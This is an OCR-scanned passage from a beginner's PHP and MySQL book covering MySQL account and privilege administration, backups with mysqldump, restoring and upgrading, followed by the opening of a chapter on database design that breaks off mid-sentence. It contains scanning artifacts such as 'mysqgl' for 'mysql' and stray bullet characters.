MySQL can perform its data management duties in an efficient and secure
manner.

You might be responsible for some or all of the administrative tasks, depending
on how you access MySQL. If you're using MySQL on a web hosting company’s
computer, the hosting company performs most or all of the administrative
tasks. However, if you're using MySQL on your local computer, you're the
administrator, entirely responsible for the administration of MySQL.
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The duties of the administrator include the following:

4+ Install MySQL. Described in Book I, Chapter 4. If MySQL is running on a
web hosting computer, you’re not responsible for installation.

4+ Start and shut down the MySQL server. Described in Book I, Chapter 4.
If MySQL is running on a web hosting computer, you don’t start or stop
the server.

4+ Create and maintain MySQL user accounts. No one can access the data
in your database without an account. Accounts need to be installed and
removed, passwords added or removed, and privileges assigned to or
removed from accounts. We describe administering user accounts in the
section “Setting Up MySQL Accounts,” later in this chapter.

If you're using MySQL at a web hosting company, you might or might not
be allowed to create or alter MySQL accounts. You might be limited to
one account with defined privileges.

4+ Back up data. You need to keep backup copies of your data in case
the data is lost or damaged. If you're using MySQL at a web hosting
company, you need to check with that company regarding its backup
procedures. You might still want to keep your own backup, just in case
the web hosting company’s backup procedures fail. You can read about
backup databases in the section “Backing Up Your Database,” later in
this chapter.

4+ Update MySQL. Install new MySQL releases when needed. If MySQL is
running on a web hosting computer, you're not responsible for updates.
We talk about upgrading MySQL in the section “Upgrading MySQL,” later
in this chapter.

Default Access to Your Data

\NG/
Vg,\\

When MySQL is installed, a default MySQL account named root is installed.
Sometimes, this account is installed without a password. If you configured
MySQL on Windows with the Configuration Wizard (as described in Book I,
Chapter 4), you set a password during the configuration procedure. In addi-
tion, you might have set up an anonymous account with no account name and
no password. If you're accessing MySQL through a web hosting company, the
company provides you with the account name and password to use.

In general, you shouldn’t use the account root without a password. If your
installation set up a root account without a password, add a password right
away. The root account is set up with all privileges. You use this account
for the administration of your MySQL databases. You don’t need an account
with all privileges to access your MySQL databases, or to add and retrieve
data. Therefore, in most cases, you want to create an account with fewer
privileges that you use to access the data from your PHP scripts, and we tell
you how to do that in this chapter.
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Controlling Access to Your Data

You need to control access to the information in your database. You need

to decide who can see the data and who can change it. Imagine what would
happen if your competitors could change the information in your online
product catalog or copy your list of customers — you’d be out of business in
no time flat. Clearly, you need to guard your data.

Fortunately, MySQL provides a security system for protecting your data. No
one can access the data in your database without an account. Each MySQL
account has the following attributes:

4 An account name

4 A hostname — the machine from which the account can access the
MySQL server

4+ A password
4+ A set of privileges

To access your data, someone must use a valid account name and know the
password associated with that account. In addition, that person must be
connecting from a computer that’s permitted to connect to your database
via that specific account.

After the user is granted access to the database, what he or she can do to
the data depends on what privileges have been set for the account. Each
account is either allowed or not allowed to perform an operation in your
database, such as SELECT, DELETE, INSERT, CREATE, or DROP. (Table 2-1,
later in this chapter, explains those privileges.) The settings that specify
what an account can do are privileges. You can set up an account with all
privileges, no privileges, or anything in between. For instance, for an online
product catalog, you want the customer to be able to see the information in
the catalog but not change that information.

When a user attempts to connect to MySQL and execute a statement, MySQL
controls access to the data in two stages:

1. Connection verification: MySQL checks the validity of the account name
and password, and checks whether the connection is coming from a host
that’s allowed to connect to the MySQL server by using the specified
account. If everything checks out, MySQL accepts the connection.

2. Request verification: After MySQL accepts the connection, it checks
whether the account has the necessary privileges to execute the speci-
fied statement. If it does, MySQL executes the statement.

Book V
Chapter 2
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Any statement that you send to MySQL can fail either because the connection
is rejected in the first step or because the statement isn’t permitted in the
second step. An error message is returned to help you identify the source
of the problem.

In the following sections, we describe accounts and privileges in detail.

Account names and hostnames

Together, the account name and hostname (the name of the computer
that’s authorized to connect to the database) identify a unique account.
Two accounts with the same name but different hostnames can exist and
can have different passwords and privileges. However, you can’t have two
accounts with the same name and the same hostname.

The MySQL server accepts connections from a MySQL account only when
that account is connecting from hostname. When you build the GRANT or
REVOKE statement (which we describe in the section “Changing privileges,”
later in this chapter), you identify the MySQL account by using both the
account name and the hostname in the following format: accountname@
hostname (for instance, root@localhost).

The MySQL account name is completely unrelated in any way to the Unix,
Linux, or Windows username (also sometimes called the login name). If
you’re using an administrative MySQL account named root, that account
is not related to the Unix or Linux root login name. Changing the MySQL
account name doesn’t affect the Unix, Linux, or Windows login name — and
vice versa.

MySQL account names and hostnames have the following characteristics:

4 An account name can be up to 16 characters long. You can use special
characters in account names, such as a space or a hyphen (-). However,
you can’t use wildcards in the account name.

4 An account name can be blank. If an account exists in MySQL with a
blank account name, any account name is valid for that account. A user
can use any account name to connect to your database if the user is con-
necting from a hostname that’s allowed to connect to the blank account
name and uses the correct password (if a password is required). You
can use an account with a blank name to allow anonymous users to con-
nect to your database.

4 The hostname can be a name or an IP address. For example, the host-
name can be a name, such as thor .mycompany . com, or an IP (Internet
protocol) address, such as 192.163.2.33. The machine on which the
MySQL server is installed is localhost.

4+ The hostname can contain wildcards. You can use a percent sign
(%) as a wildcard; $ matches any hostname. If you add an account for
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george@%, someone who uses the account named george can connect
to the MySQL server from any computer.

4+ The hostname can be blank. Leaving the hostname blank is the same as
using % for the hostname.

You can create an account with both a blank account name and a blank host-
name (or a percent sign — % — for the hostname). Such an account would
allow anyone to connect to the MySQL server by using any account name
from any computer. But you probably don’t want such an account. This kind
of an account is sometimes installed when MySQL is installed, but it’s given
no privileges, so it can’t do anything.

When MySQL is installed, it automatically installs an account with all privileges:
root@localhost. Depending on your operating system, this account might
be installed without a password. Anyone who’s logged in to the computer on
which MySQL is installed can access MySQL and do anything to it by using
the account named root. (Of course, root is a well-known account name, so
this account isn’t secure. If you’re the MySQL administrator, add a password
to this account immediately.)

Passwords

A password is set up for every account. If no password is provided for the
account, the password is blank, which means that no password is required.
MySQL doesn’t have any limit for the length of a password, but sometimes
other software on your system limits the length to eight characters. If so,
any characters after eight are dropped.

For extra security, MySQL encrypts passwords before it stores them. That
means passwords aren’t stored in the recognizable characters that you
enter. This security measure ensures that no one can simply look at the
stored passwords and understand what they are.

Unfortunately, some bad people out there might try to access your data by
guessing your password. They use software that tries to connect rapidly in
succession with different passwords — a practice called a brute force attack.

In any event, your MySQL server shouldn’t be exposed directly to the
Internet, so an attacker would need to get access to the MySQL server first in
order to try a brute force attack.

Account privileges

MySQL uses account privileges to specify who can do what. Anyone using a
valid account can connect to the MySQL server, but he or she can do only
those things that are allowed by the privileges for the account. For example,
an account might be set up so that users can select data but can’t insert or
update data.

Book V
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Privileges can be granted for particular databases, tables, or columns. For
instance, an account can allow the user to select data from all the tables in
the database but insert data into only one table and update only a single
column in a specific table.

Table 2-1 lists some privileges that you might want to assign or remove.
Other privileges are available, but they’re less commonly used. You can find
a complete list of privileges in the MySQL online manual at http: //dev.
mysqgl.com/doc/refman/5.6/en/privileges-provided.html.

Table 2-1 MySQL Account Privileges
Privilege Description

ALL All privileges

ALTER Can alter the structure of tables
CREATE Can create new databases or tables
DELETE Can delete rows in tables

DROP Can drop databases or tables

FILE Can read and write files on the server
GRANT Can change the privileges on a MySQL account
INSERT Caninsert new rows into tables
SELECT Can read data from tables

SHUTDOWN Can shut down the MySQL server
UPDATE Can change data in a table

USAGE No privileges

You probably don’t want to grant ALL because it includes privileges for
administrative operations, such as shutting down the MySQL server —
privileges that you don’t want anyone other than yourself to have.

Setting Up MySOL Accounts

An account is identified by the account name and the name of the com-
puter allowed to access MySQL from this account. When you create a new
account, you specify it as accountname@hostname. You can specify a pass-
word when you create an account, or you can add a password later. You can
also set up privileges when you create an account or add privileges later.
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The MySQL security database

When MySQL is installed, it automatically cre-
ates a database called mysqgl. All the infor-
mation used to protect your data is stored in
this database, including account names, host-
names, passwords, and privileges.

Privileges are stored in columns. The format
of each column name is privilege priv,
in which privilege is a specific account
privilege. For instance, the column containing
ALTER privileges is named alter_priv.
The value in each privilege column is Y or N,
meaning yes or no. So, for instance, in the user
table (described in the following list), there
would be a row for an account and a column
for alter_priv. If the account field for
alter_priv contains Y, the account can
be used to execute an ALTER statement.
If alter_priv contains N, the account
doesn't have privilege to execute an ALTER
statement.

The mysqgl database contains the following
tables that store privileges:

v user table: This table stores privileges
that apply to all the databases and tables.
It contains a row for each valid account
that includes the columns user name,
hostname, and password. The MySQL
server rejects a connection for an account
that doesn’t exist in this table.

v~ db table: This table stores privileges that
apply to a particular database. It contains
a row for the database, which gives privi-
leges to an account name and a hostname.
The account must exist in the user table
for the privileges to be granted. Privileges
that are given in the user table overrule
privileges in this table.

For instance, if the user table has a row
for the account designer that gives

INSERT privileges, designer can
insert into all the databases. If a row in
the db table shows N for INSERT for the
designer accountinthe PetCatalog
database, the user table overrules
it, and designer can insert in the
PetCatalog database.

+” host table: This table controls access to
a database, depending on the host. The
host table works with the db table. If a
row in the db table has an empty field for
the host, MySQL checks the host table to
see whether the db has a row there. In this
way, you can allow access to a db from
some hosts but not from others.

For instance, suppose you have two data-
bases: db1 and db2. The db1l database
has sensitive information, so you want only
certain people to see it. The db2 database
has information that you want everyone
to see. If you have a row in the db table
for db1 with a blank host field, you can
have two rows for db1 in the host table.
One row can give all privileges to users
connecting from a specific host, whereas
another row can deny privileges to users
connecting from any other host.

v tables_priv table: This table stores
privileges that apply to specific tables.

v columns_priv table: This table stores
privileges that apply to specific columns.

You can see and change the tables in mysqgl
directly if you're using an account that has the
necessary privileges. You can use SQL queries
such as SELECT, INSERT, and UPDATE.
If you're accessing MySQL through your
employer, a client, or a web hosting company,
you probably don’t have an account with the
necessary privileges.
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All the account information is stored in a database named mysgl that’s auto-
matically created when MySQL is installed. To add a new account or change
any account information, you must use an account that has the proper privi-
leges on the mysqgl database.

In the rest of this section, we describe how to add and delete accounts and
change passwords and privileges for accounts — and how to refresh privi-
leges so that MySQL sees the changes.

However, if you have an account that you received from your company IT
department or from a web hosting company, you might receive an error
when you try to add an account or change account privileges as described in
this chapter. If your account is restricted from performing any of the neces-
sary queries, you need to request an account with more privileges or ask the
MySQL administrator to add a new account for you or make the changes you
need.

Identifying what accounts currently exist

To see the account information, you can execute an SQL query, using

the mysql client as described in Chapter 1 of this minibook. To see what
accounts currently exist for your database, you need an account that has the
necessary privileges.

All the account names are stored in a database named mysql in a table
named user. To see the account information, you can execute the following
query on a database named mysql:

SELECT * FROM user

You should get a list of all the accounts. However, if you're accessing MySQL
through your company or a web hosting company, you probably don’t have
the necessary privileges. In that case, you might get an error message like
this:

No Database Selected

This message means that your account is not allowed to select the mysqgl
database. Or you might get an error message saying that you don’t have the
SELECT privilege. Even though this message is annoying, it’s a sign that the
company has good security measures in place. However, it also means that
you can’t see what privileges your account has. You must ask your MySQL
administrator or try to figure it out yourself by trying queries and seeing
whether you're allowed to execute them.
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Adding accounts

The preferred way to access MySQL from PHP is to set up an account spe-
cifically for this purpose with only the privileges that are needed, and we
describe in this section how to add accounts.

If you’re using an account given to you by a company IT department or a

web hosting company, it might or might not have all the privileges needed to
create an account. If it doesn’t, you can’t successfully execute the statement
to add an account, and you have to request a second account to use with PHP.

If you need to request a second account, get an account with restricted
privilege (if at all possible) because your web database application is more
secure if the account your PHP programs use doesn’t have more privileges
than are necessary.

To create one or more users when you have the necessary privileges, you
can use the CREATE USER statement (added to MySQL in version 5.0.2), as
follows:

CREATE USER accountname@hostname IDENTIFIED BY 'password',
accountname@hostname IDENTIFIED BY 'password', ...

This statement creates the specified new user account(s) with the specified
password for each account and no privileges. You don’t need to specify

a password. If you leave out IDENTIFIED BY 'password',the account

is created with no password. You can add or change a password for the
account at a later time. We discuss adding passwords and privileges in the
sections “Adding and changing passwords” and “Changing privileges,” later
in this chapter.

If you're using a version of MySQL before 5.0.2, you must use a GRANT
statement to create an account. We describe the GRANT statement in the
“Changing privileges” section, later in this chapter.

Adding and changing passwords

Passwords aren’t set in stone. You can add or change a password for an
existing account. Like any of the procedures in this section, you can add or
change passwords with an SQL statement, like this:

SET PASSWORD FOR username@hostname = PASSWORD ('password')

The account is set to password for the account username@hostname. If the
account currently has a password, the password is changed. You don’t need
to specify the FOR clause. If you don’t, the password is set for the account
you're currently using.
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You can remove a password by sending the SET PASSWORD statement with
an empty password:

SET PASSWORD FOR username@hostname = PASSWORD('')

&(" When you make changes to passwords, you need to refresh the privileges
so that MySQL sees the change. This is accomplished with the FLUSH
PRIVILEGES statement:

FLUSH PRIVILEGES

Changing privileges

Each account has a set of privileges that specifies what the user of the
account can and can’t do. You can set the privileges when you create an
account, but you can also change the privileges of an account at any time.
The most useful privileges that you can set for an account are shown earlier
in the chapter, in Table 2-1.

You can see the current privileges for an account by sending the following
statement:

SHOW GRANTS ON accountname@hostname

The output is a GRANT statement that would create the current account. The
output shows all the current privileges. If you don’t include the ON clause, you
see the current privileges for the account that issued the SHOW GRANTS query.

You can change privileges for an account with the GRANT statement, which
has the following general format:

GRANT privilege (columns) ON tablename

BE, TO accountname@hostname IDENTIFIED BY 'password'
@ﬂ“ R

‘Q . . . . .

Like other privilege-related changes, you need to refresh the privileges after
making changes using FLUSH PRIVILEGES.

You can also create a new account or change a password with the GRANT
statement. You need to fill in the following information:

4 privilege (columns):You must list at least one privilege. You can
limit each privilege to one or more columns by listing the column name
in parentheses following the privilege. If you don’t list a column name,
the privilege is granted on all columns in the table(s). You can list as
many privileges and columns as needed, separated by commas. You
can see the possible privileges listed in Table 2-1. For instance, a GRANT
statement might start with this:

GRANT select (firstName, lastName), update,
insert (birthdate)
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4 tablename: The name (or names) of the table(s) on which the privilege
is granted. You need to include at least one table. You can list several
tables, separated by commas. The possible values for tablename are

e tablename: The entire table named tablename in the current data-
base. You can use an asterisk (*) to mean all tables in the current
database. If you use an asterisk and no current database is selected,
the privilege is granted to all tables on all databases.

® databasename. tablename: The entire table named tablename in
databasename. You can use an asterisk (*) for either the database
name or the table name to mean all databases or tables. Using * . *
grants the privilege on all tables in all databases.

4 accountname@hostname: If the account already exists, it’s given the
indicated privileges. If the account doesn'’t exist, it’s added. The account
is identified by the accountname and the hostname as a pair. If an
account exists with the specified account name but a different host-
name, the existing account isn’t changed; a new one is created.

4+ password: The password that you're adding or changing. A password
isn’t required. If you don’t want to add or change a password for this
account, leave out the phrase IDENTIFIED BY 'password'.

For example, the GRANT statement that adds a new account for use in the PHP
scripts for an online catalog database named ProductCatalog might be

GRANT select ON ProductCatalog.* TO phpuser@localhost
IDENTIFIED BY 'Adl!l4da!"’

To remove privileges, use the REVOKE statement. The general format is

REVOKE privilege (columns) ON tablename
FROM accountname@hostname

You need to fill in the appropriate information.

You can remove all the privileges for an account with the following REVOKE
statement:

REVOKE all ON *.* FROM accountname@hostname

Removing accounts

You might want to remove an account. In most cases, having an account
that no one uses doesn’t have any negative effects. However, if you think an
account has been compromised, you might want to remove it for security
reasons.
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To remove an account, you can use the DROP USER statement (which was
added in MySQL 4.1.1), as follows:

DROP USER accountname@hostname, accountname@hostname,

You must use an account that has DELETE privileges on the mysgl database
to execute the DROP USER statement.

The behavior of DROP USER has changed through MySQL versions. As of
MySQL 5.0.2, it removes the account and all records related to the account,
including records that give the account privileges on specific databases or
tables. However, in versions before MySQL 5.0.2, DROP USER drops only
accounts that have no privileges. Therefore, in older versions, you must
remove all the privileges from an account, including database or table privi-
leges, before you can drop that account.

Backing Up Your Database

WMBER
@&
&

A\

You need to have at least one backup copy of your valuable database.
Disasters occur rarely, but they do occur. The computer where your data-
base is stored can break down and lose your data, the computer file can
become corrupted, the building can burn down, and so on. Backup copies of
your database guard against data loss from such disasters.

You should have at least one backup copy of your database stored in a loca-
tion that’s separate from the copy you currently use. You should probably
have more than one copy — perhaps as many as three.

Here’s how you can store your copies:

4+ First copy: Store one copy in a handy location, perhaps even on the
same computer on which you store your database, to quickly replace a
working database that becomes damaged.

4+ Second copy: Store a second copy on another computer in case the
computer on which you have your database breaks down, making the
first backup copy unavailable.

4+ Third copy: Store a third copy in a different physical location to prepare
for the remote chance that the building burns down. If you store the
second backup copy on a computer at another physical location, you
don’t need this third copy.

If you don’t have access to a computer offsite on which you can back up
your database, you can copy your backup to a portable medium, such as a
CD or DVD, and store it offsite. Certain companies will store your computer
media at their location for a fee, or you can just put the media in your pocket
and take it home.
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If you use MySQL on someone else’s computer, such as the computer of a Book V
web hosting company, the people who provide your access are responsible Chapter 2
for backups. They should have automated procedures in place that make
backups of your database. When evaluating a web hosting company, ask
about the backup procedures. You want to know how often backup copies
are made and where they’re stored. If you're not confident that your data is
safe, you can discuss changes or additions to the backup procedures.
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¢ If you're the MySQL administrator, you're responsible for making backups.

Even if you're using MySQL on someone else’s computer, you might want to
make your own backup copy, just to be safe.

Make backups at certain times — at least once per day. If your database
changes frequently, you might want to back up more often. For example,
you might want to back up to the backup directory hourly but back up to
another computer once a day.

You can back up your MySQL database by using a utility program called
mysqgldump, provided by MySQL. The mysgldump program creates a text
file that contains all the SQL statements you need to re-create your entire
database. The file contains the CREATE statements for each table and
INSERT statements for each row of data in the tables. You can restore your
database, either to its current location or on another computer, by executing
this set of MySQL statements.

Backing up on Windows

To make a backup copy of your database in Windows, follow these steps:

1. Open a command prompt window.
For instance, choose Start=>All Programs=>Accessories>"Command Prompt.

2. Change to the bin subdirectory in the directory where MySQL is
installed.

For instance, type cd c:\Program Files\MySQL\MySQL Server 5.0\bin
into the command prompt.

3. Type the following:

mysqgldump --user=accountname --password=password
databasename >path\backupfilename

Backing up on Linux, Unix, and Mac
Follow these steps to make a backup copy of your database in Linux, in Unix,
or on a Mac:

1. Change to the bin subdirectory in the directory in which MySQL is
installed.

For instance, type cd /usr/local/mysql/bin.
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2. Type the following:

mysgldump --user=accountname --password=password
databasename >path/backupfilename
In the preceding code, make the following substitutions:

® accountname: Replace with the name of the MySQL account that
you’re using to back up the database.

e password: Use the password for the account.

® databasename: Use the name of the database that you want to back
up.
® path/backupfilename: Replace path with the directory in which

you want to store the backups and backupfilename with the name
of the file in which you want to store the SQL output.

The account that you use needs to have SELECT privilege. If the account
doesn’t require a password, you can leave out the entire password
option.

You can type the command on one line without pressing Enter. Or you
can type a backslash (\), press Enter, and continue the command on
another line.

For example, to back up the PetCatalog database, you might use the
command

mysgldump --user=root --password=secret PetCatalog \
>/usr/local/mysqgl/backups/PetCatalogBackup

Note: With Linux or Unix, the account that you're logged in to must have
privilege to write a file into the backup directory.

You must type the mysgldump command on one line without pressing
Enter.

In the preceding code, make the following substitutions:

® accountname: Enter the name of the MySQL account that you're
using to back up the database.

The account that you use needs to have SELECT privilege. If the
account doesn’t require a password, you can leave out the entire
password option.

e password: Use the password for the account.

® databasename: Replace with the name of the database that you
want to back up.

® path\backupfilename: Replace path with the directory in which
you want to store the backups and use the name of the file in which you
want to store the SQL output in place of backupfilename.
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For example, to back up the ProductCatalog database, you might use the
command

mysgldump --user=root ProductCatalog >ProdCatalogBackup

Restoring Your Data

At some point, one of your database tables might become damaged and
unusable. It’s unusual, but it happens. For instance, a hardware problem or
an unexpected computer shutdown can cause corrupted tables. Sometimes,
an anomaly in the data that confuses MySQL can cause corrupt tables. In
some cases, a corrupt table can cause your MySQL server to shut down.

Here’s a typical error message that signals a corrupted table:
Incorrect key file for table: 'tablename'.
You can replace the corrupted table(s) with the data stored in a backup copy.

However, in some cases, the database might be lost completely. For instance,
if the computer on which your database resides breaks down and can’t be
fixed, your current database is lost — but your data isn’t gone forever. You
can replace the broken computer with a new computer and restore your
database from a backup copy.

You can replace your current database table(s) with the database you’ve
stored in a backup copy. The backup copy contains a snapshot of the data
as it was when the copy was made. Of course, you don’t get any of the changes
to the database since the backup copy was made; you have to re-create
those changes manually.

Again, if you access MySQL through an IT department or through a web
hosting company, you need to ask the MySQL administrator to restore your
database from a backup. If you're the MySQL administrator, you can restore
it yourself.

As we describe in Chapter 1 of this minibook, you build a database by creating
the database and then adding tables to the database. The backup created by
the mysgldump utility, as described in the section “Backing Up Your Database,”
earlier in this chapter, is a file that contains all the SQL statements necessary
to rebuild the tables, but it doesn’t contain the statements you need to
create the database itself.

To restore the database from the backup file, you must first edit the backup
file (which is a text file). Then, you use the mysq]l client to create the data-
base from the SQL statements in the backup file.
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First, you edit the backup file by following these steps:

7.

Open the backup file in a text editor.
Locate the line that shows the Server Versions.

If you want to rebuild an entire database, add the following statement
below the line that you locate in Step 2:

CREATE DATABASE IF NOT EXISTS databasename

Below the line in Step 3, add a line specifying which database to add
the tables to:

USE databasename
Check the blocks of statements that rebuild the tables.

If you don’t want to rebuild a table, add -- (two hyphens) at the begin-
ning of each line that rebuilds the table. The hyphens mark the lines as
comments.

Check the INSERT lines for each table.

If you don’t want to add data to any tables, comment out the lines that
INSERT the data.

Save the edited backup file.

After the backup file contains the statements that you want to use to rebuild
your database or table(s), you can use the mysql client to execute the SQL
statements in the backup file. Just follow these steps:

1.

From a command line prompt, change to the bin subdirectory in the
directory where MySQL is installed.

In Windows, you open a command prompt window to use the mysql
client, as described in Chapter 1 of this minibook.

Type a cd command to change to the correct directory. For instance,
you might type cd /usr/local/mysql/bin or cd c:\Program Files\
MySQL\MySQL Server 5.0\bin.

Type this command (which sends the SQL queries in the backup file):
mysgl -u accountname -p < path/backupfilename

You replace accountname with an account that has CREATE privilege. If
the account doesn’t require a password, leave out the -p. If you use the
-p, you're asked for the password. Use the entire path and filename for
the backup file. For instance, you could use this command to restore the
ProductCatalog database:

mysgl -u root -p < c:\Program Files\MySQL\MySQL Server
5.0\bin\bak\ProductCatalog.bak
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The tables might take a short time to restore. Wait for the command to
finish. If a problem occurs, an error message appears. If no problems occur,
you see no output. When the command is finished, the prompt appears.

Your database is now restored with all the data that was in it at the time the
copy was made. If the data has changed since the copy was made, you lose
those changes. For instance, if more data was added after the backup copy
was made, the new data isn’t restored. If you know the changes that were
made after creating the backup, you can make them manually in the restored
database.

Upgrading MySOL
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New versions of MySQL are released periodically, and you can upgrade from
one version of MySQL to a newer version. You can find upgrading informa-
tion in the MySQL manual at http://dev.mysql.com/doc/refman/5.5/
en/upgrading.html.

However, there are special considerations when you upgrade. As a precaution,
back up your current databases, including the GRANT tables in the mysqgl
database, before upgrading.

MySQL recommends that you don’t skip versions. If you want to upgrade
from one version to a version more than one version newer, such as from
MySQL 4.0 to MySQL 5.0, you should upgrade to the next version first. After
that version is working correctly, you can upgrade to the next version, and
so on. In other words, upgrade from 4.0 to 4.1, then from 4.1 to 5.0.

Occasionally, incompatible changes are introduced in new versions of MySQL.
Some releases introduce changes to the structure of the GRANT tables. For
instance, MySQL 4.1 changed the method of encrypting passwords, requiring
a longer password field in the GRANT tables.

After upgrading to the newer version, you should run the mysgl_upgrade
script. It repairs your files and upgrades the system tables, if needed. In ver-
sions prior to MySQL version 5.0.19, the mysql_upgrade script doesn’t run
on Windows; it runs only on Unix. On Windows, you can run a script called
mysqgl_fix_privileges_tables with MySQL versions prior to 5.0.19. The
script upgrades the system tables but doesn’t perform the complete table
check and repair that mysgl_upgrade performs.
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Chapter 3: Designing and Building
a Database

In This Chapter

+ Planning your database
+ Designing a sample database
1 Constructing your database

+* Restructuring your database

Fe first step in creating a database is to design it. You design a database
before you ever put finger to keyboard to create that database. Planning
is perhaps the most important step. It’s very painful to discover after you
build the database and put it in service that it doesn’t contain all the data or
provide the relationships between data that you need, so in this chapter we
give you some tips for designing a database that will work well for you.

After completing your database design, you're ready to build that database,
and we tell you how to do that too, later in the chapter. You create the data-
base and its tables according to the design you developed. When it’s built,
you have a useful, empty database, waiting for you to fill it with data. You
can then read about adding and retrieving data in Chapter 4 of this minibook.

Designing a Database

Designing the database includes identifying the data that you need and orga-
nizing the data in the way that the database software requires. As you plan
your database design, you’ll also need to decide on a primary key for each
table and how tables relate to one another. You should also consider what
types of data you will store in your database.

Choosing the data

To design a database, you first must identify what information belongs in it.
The database must contain the data needed for the website to perform its
purpose.
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Here are a few examples:

4+ An online catalog needs a database containing product information.

4+ An online order application needs a database that can hold customer
information and order information.

4+ A travel website needs a database with information on destinations, res-
ervations, fares, schedules, and so on.

In many cases, your application might include a task that collects informa-
tion from the user. For instance, customers who buy products from a web-
site must provide their address, phone number, credit card information, and
other data in order to complete the order. The information must be saved at
least until the order is filled. Often, the website retains the customer infor-
mation to facilitate future orders so the customer doesn’t need to retype the
information when placing the next order. The information also provides mar-
keting opportunities to the business operating the website, such as sending
marketing offers or newsletters to customers.

A customer database might collect the following customer information:

4+ Name

4+ Address

4+ Phone number
4+ Fax number
4+ E-mail address

You have to balance your urge to collect all the potentially useful informa-
tion you can think of against your users’ reluctance to give out personal
information — as well as their avoidance of forms that look too time-
consuming.

One compromise is to ask for some optional information. Users who don’t
mind can enter that information, but users who object can leave that portion
of the form blank. You can also offer an incentive: The longer the form, the
stronger the incentive you need to motivate the user to fill out the form.
Here’s an example: A user might be willing to fill out a short form to enter a
sweepstakes that offers two sneak-preview movie tickets as a prize, but if the
form is long and complicated, the prize needs to be more valuable, such as a
chance to win a trip to Hollywood.

Take the time to develop a comprehensive list of the information you need
to store in your database. Although you can change and add information to
your database after you develop it, including the information from the begin-
ning is easier, and you might be able to avoid the extra work of changing the
database later. Also, if you add information to the database later — after that



Designing a Database 4 77

database is in use — the first users in the database have incomplete informa-
tion. For example, if you change your form so that it now asks for the user’s
age, you don’t have the age for the people who already filled out the form
and are already in the database.

Organizing the data

MySQL is a Relational Database Management System (RDBMS), which means
the data is organized into tables. (See Chapter 1 in this minibook for more on
how MySQL works.)

RDBMS tables are organized like other tables that you're used to — in rows
and columns, as shown in the following table.

Column 1 Column 2 Column 3 Column 4
Row 1
Row 2
Row 3
Row 4

The individual cell in which a particular row and column intersect is called
a field.

The focus of each table is an object (a thing) that you want to store informa-
tion about. Here are some examples of objects:

4 Customers 4+ Books

4+ Products 4 Computers
4+ Companies 4+ Shapes

4 Animals 4+ Documents
4+ Cities 4+ Projects

4+ Rooms 4+ Weeks

You create a table for each object. The table name should clearly identify
the objects that it contains with a descriptive word or term, based on the
following guidelines:

4+ The name must be a character string, containing letters, numbers,
underscores, or dollar signs, but no spaces.

4 It’s customary to name the table in the singular form. Thus, a name for a
table of customers might be Customer, and a table containing customer
orders might be named CustomerOrder.
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4+ The difference between uppercase and lowercase is significant on Linux

and Unix, but not on Windows. CustomerOrder and Customerorder
are the same to Windows — but not to Linux or Unix. That said, it’s best
to be sensitive to case in the event that you ever need to change hosting
platforms.

In database talk, an object is an entity, and an entity has attributes. In the
table, each row represents an entity, and the columns contain the attributes
of each entity. For example, in a table of customers, each row contains infor-
mation for a single customer. Some of the attributes contained in the col-
umns might include first name, last name, phone number, and age.

Follow these steps to decide how to organize your data into tables:

1.

Name your database.

Assign a name to the database for your application. For instance, you
might name a database containing information about households in a
neighborhood HouseholdDirectory.

Identify the objects.

Look at the list of information that you want to store in the database (as
discussed in the preceding section). Analyze your list and identify the
objects. For instance, the HouseholdDirectory database might need
to store the following:

¢ Name of each family member

Address of the house

e Phone number

¢ Age of each household member

¢ Favorite breakfast cereal of each household member

When you analyze this list carefully, you realize that you're storing infor-
mation about two objects: the household and the household members.
The address and phone number are for the household, in general, but the
name, age, and favorite cereal are for each particular household member.

Define and name a table for each object.

For instance, the HouseholdDirectory database needs a table called
Household and a table called HouseholdMember.

Identify the attributes for each object.

Analyze your information list and identify the attributes you need to
store for each object. Break the information to be stored into its small-
est reasonable pieces. For example, when storing the name of a person
in a table, you can break the name into first name and last name. Doing
this enables you to sort by the last name, which would be more difficult
if you stored the first and last name together. You can even break down
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the name into first name, middle name, and last name, although not
many applications need to use the middle name separately.

. Define and name columns for each separate attribute that you identify

in Step 4.

Give each column a name that clearly identifies the information in that
column. The column names should be one word, with no spaces. For
example, you might have columns named firstName and lastName or
first_name and last_name.

MySQL and SQL reserve some words for their own use, and you can’t
use those words as column names. The words are currently used in
SQL statements or are reserved for future use. You can’t use ADD, ALL,
AND, CREATE, DROP, GROUP, ORDER, RETURN, SELECT, SET, TABLE, USE,
WHERE, and many, many more as column names. For a complete list of
reserved words, see the online MySQL manual at http://dev.mysqgl.
com/doc/refman/5.5/en/reserved-words.html.

. Identify the primary key.

Each row in a table needs a unique identifier. No two rows in a table
should be exactly the same. When you design your table, you decide
which column holds the unique identifier, called the primary key.

The primary key can be more than one column combined. In many
cases, your object attributes don’t have a unique identifier. For example,
a customer table might not have a unique identifier because two custom-
ers can have the same name. When you don’t have a unique identifier
column, you need to add a column specifically to be the primary key.
Frequently, a column with a sequence number is used for this purpose.
For example, in Table 3-1, the primary key is the cust_id field because
each customer has a unique ID number.

Table 3-1 A Sample of Data from the Customer Table
cust_id first_name last_name phone

27895 John Smith 5b5-55b5
44555 Joe Lopez 555-5553
23695 Judy Chang 555-5552
29991 Jubal Tudor 555-5556
12345 Joan Smythe 555-5559

7. Define the defaults.

You can define a default that MySQL assigns to a field when no data is
entered into the field. You don’t need a default, but one can often be
useful. For example, if your application stores an address that includes
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a country, you can specify U. S. as the default. If the user doesn’t type a
country, MySQL enters U. S.

8. Identify columns that require data.

You can specify that certain columns aren’t allowed to be empty (also
called NULL). For instance, the column containing your primary key
can’t be empty. If no value is stored in the primary key column, MySQL
doesn’t create the row and returns an error message. The value can be
a blank space or an empty string (for example, " "), but some value must
be stored in the column. You can set other columns, in addition to the
primary key, to require data.

Well-designed databases store each piece of information in only one place.
Storing it in more than one place is inefficient and creates problems if you
need to change information. If you change information in one place but forget
to change it in another place, your database can have serious problems.

If you find that you're storing the same data in several rows, you probably
need to reorganize your tables. For example, suppose you're storing data
about books, including the publisher’s address. When you enter the data, you
realize that you're entering the same publisher’s address in many rows. A
more efficient way to store this data would be to store the book information in
one table and the book publisher information in another table. You can define
two tables: Book and BookPublisher. In the Book table, you would have

the columns title, author, pub_date, and price. In the BookPublisher
table, you would have columns such as name, streetAddress, and city.

Creating relationships between tables

Some tables in a database are related. Most often, a row in one table is related
to several rows in another table. You need a column to connect the related
rows in different tables. In many cases, you include a column in one table to
hold data that matches data in the primary key column of another table.

A common application that needs a database with two related tables is a
customer order application. For example, one table contains the customer
information, such as name, address, and phone number. Each customer can
have from zero to many orders. You could store the order information in the
table with the customer information, but a new row would be created each
